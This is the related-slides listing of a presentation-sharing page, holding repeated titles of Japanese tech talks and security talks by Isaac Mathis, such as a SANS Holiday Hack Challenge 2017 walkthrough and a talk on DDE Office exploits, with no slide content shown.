SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテムSmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテムSmartNews, Inc.
 
Cli mini Hack!#1 ~Terminalとの親睦を深めよう~
Cli mini Hack!#1 ~Terminalとの親睦を深めよう~Cli mini Hack!#1 ~Terminalとの親睦を深めよう~
Cli mini Hack!#1 ~Terminalとの親睦を深めよう~Kei IWASAKI
 
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティスどこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス5mingame2
 
StackExchangeで見たシステムプログラミング案件
StackExchangeで見たシステムプログラミング案件StackExchangeで見たシステムプログラミング案件
StackExchangeで見たシステムプログラミング案件yaegashi
 
2017-12-04 Linuxの基本構造とBashでの扱い方
2017-12-04 Linuxの基本構造とBashでの扱い方2017-12-04 Linuxの基本構造とBashでの扱い方
2017-12-04 Linuxの基本構造とBashでの扱い方浩平 渡邉
 
NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成
NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成
NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成Izumi Tsutsui
 
Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理Takeshi Arabiki
 
俺のZabbixがこんなに可愛いわけがない(おかわり)
俺のZabbixがこんなに可愛いわけがない(おかわり) 俺のZabbixがこんなに可愛いわけがない(おかわり)
俺のZabbixがこんなに可愛いわけがない(おかわり) Seiichiro Ishida
 
Javascript で暗号化
Javascript で暗号化Javascript で暗号化
Javascript で暗号化suno88
 
Enjoy handwritten digits recognition AI !!
Enjoy handwritten digits recognition AI !!Enjoy handwritten digits recognition AI !!
Enjoy handwritten digits recognition AI !!KAIKenzo
 
Unityとスマートフォンアプリの最適化
Unityとスマートフォンアプリの最適化Unityとスマートフォンアプリの最適化
Unityとスマートフォンアプリの最適化COLOPL, Inc.
 
GruntでJavaScript 前作業の自動化!
GruntでJavaScript 前作業の自動化!GruntでJavaScript 前作業の自動化!
GruntでJavaScript 前作業の自動化!leverages_event
 
Lisp tutorial for Pythonista : Day 1
Lisp tutorial for Pythonista : Day 1Lisp tutorial for Pythonista : Day 1
Lisp tutorial for Pythonista : Day 1Ransui Iso
 
GREE Creators' Meetup #2 session B Manryo
GREE Creators' Meetup #2 session B ManryoGREE Creators' Meetup #2 session B Manryo
GREE Creators' Meetup #2 session B ManryoShiho Manryo
 
そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...
  そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...  そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...
そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...エピック・ゲームズ・ジャパン Epic Games Japan
 
ななめ45°から見たJavaOne
ななめ45°から見たJavaOneななめ45°から見たJavaOne
ななめ45°から見たJavaOneAdvancedTechNight
 

Similaire à “Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough (20)

初心者向けAndroidゲーム開発ノウハウ
初心者向けAndroidゲーム開発ノウハウ初心者向けAndroidゲーム開発ノウハウ
初心者向けAndroidゲーム開発ノウハウ
 
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテムSmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
 
Cli mini Hack!#1 ~Terminalとの親睦を深めよう~
Cli mini Hack!#1 ~Terminalとの親睦を深めよう~Cli mini Hack!#1 ~Terminalとの親睦を深めよう~
Cli mini Hack!#1 ~Terminalとの親睦を深めよう~
 
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティスどこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス
 
Open VZ
Open VZOpen VZ
Open VZ
 
StackExchangeで見たシステムプログラミング案件
StackExchangeで見たシステムプログラミング案件StackExchangeで見たシステムプログラミング案件
StackExchangeで見たシステムプログラミング案件
 
Android gameprogramming
Android gameprogrammingAndroid gameprogramming
Android gameprogramming
 
2017-12-04 Linuxの基本構造とBashでの扱い方
2017-12-04 Linuxの基本構造とBashでの扱い方2017-12-04 Linuxの基本構造とBashでの扱い方
2017-12-04 Linuxの基本構造とBashでの扱い方
 
NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成
NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成
NetBSDのクロスビルドのしくみとインストール済みLive Imageの作成
 
Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理
 
俺のZabbixがこんなに可愛いわけがない(おかわり)
俺のZabbixがこんなに可愛いわけがない(おかわり) 俺のZabbixがこんなに可愛いわけがない(おかわり)
俺のZabbixがこんなに可愛いわけがない(おかわり)
 
Javascript で暗号化
Javascript で暗号化Javascript で暗号化
Javascript で暗号化
 
Enjoy handwritten digits recognition AI !!
Enjoy handwritten digits recognition AI !!Enjoy handwritten digits recognition AI !!
Enjoy handwritten digits recognition AI !!
 
Unityとスマートフォンアプリの最適化
Unityとスマートフォンアプリの最適化Unityとスマートフォンアプリの最適化
Unityとスマートフォンアプリの最適化
 
GruntでJavaScript 前作業の自動化!
GruntでJavaScript 前作業の自動化!GruntでJavaScript 前作業の自動化!
GruntでJavaScript 前作業の自動化!
 
Lisp tutorial for Pythonista : Day 1
Lisp tutorial for Pythonista : Day 1Lisp tutorial for Pythonista : Day 1
Lisp tutorial for Pythonista : Day 1
 
GREE Creators' Meetup #2 session B Manryo
GREE Creators' Meetup #2 session B ManryoGREE Creators' Meetup #2 session B Manryo
GREE Creators' Meetup #2 session B Manryo
 
そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...
  そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...  そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...
そう、UE4ならね。あなたのモバイルゲームをより快適にする沢山の冴えたやり方について Part 2 <Texture Streaming, メモリプロ...
 
0621 ndk game
0621 ndk game0621 ndk game
0621 ndk game
 
ななめ45°から見たJavaOne
ななめ45°から見たJavaOneななめ45°から見たJavaOne
ななめ45°から見たJavaOne
 

Plus de Isaac Mathis

Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックMob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックIsaac Mathis
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0Isaac Mathis
 
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)Isaac Mathis
 
PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25Isaac Mathis
 
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsDDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsIsaac Mathis
 
Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策Isaac Mathis
 

Plus de Isaac Mathis (6)

Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックMob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハック
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
 
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)
 
PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25
 
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsDDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document Exploits
 
Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策
 

“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough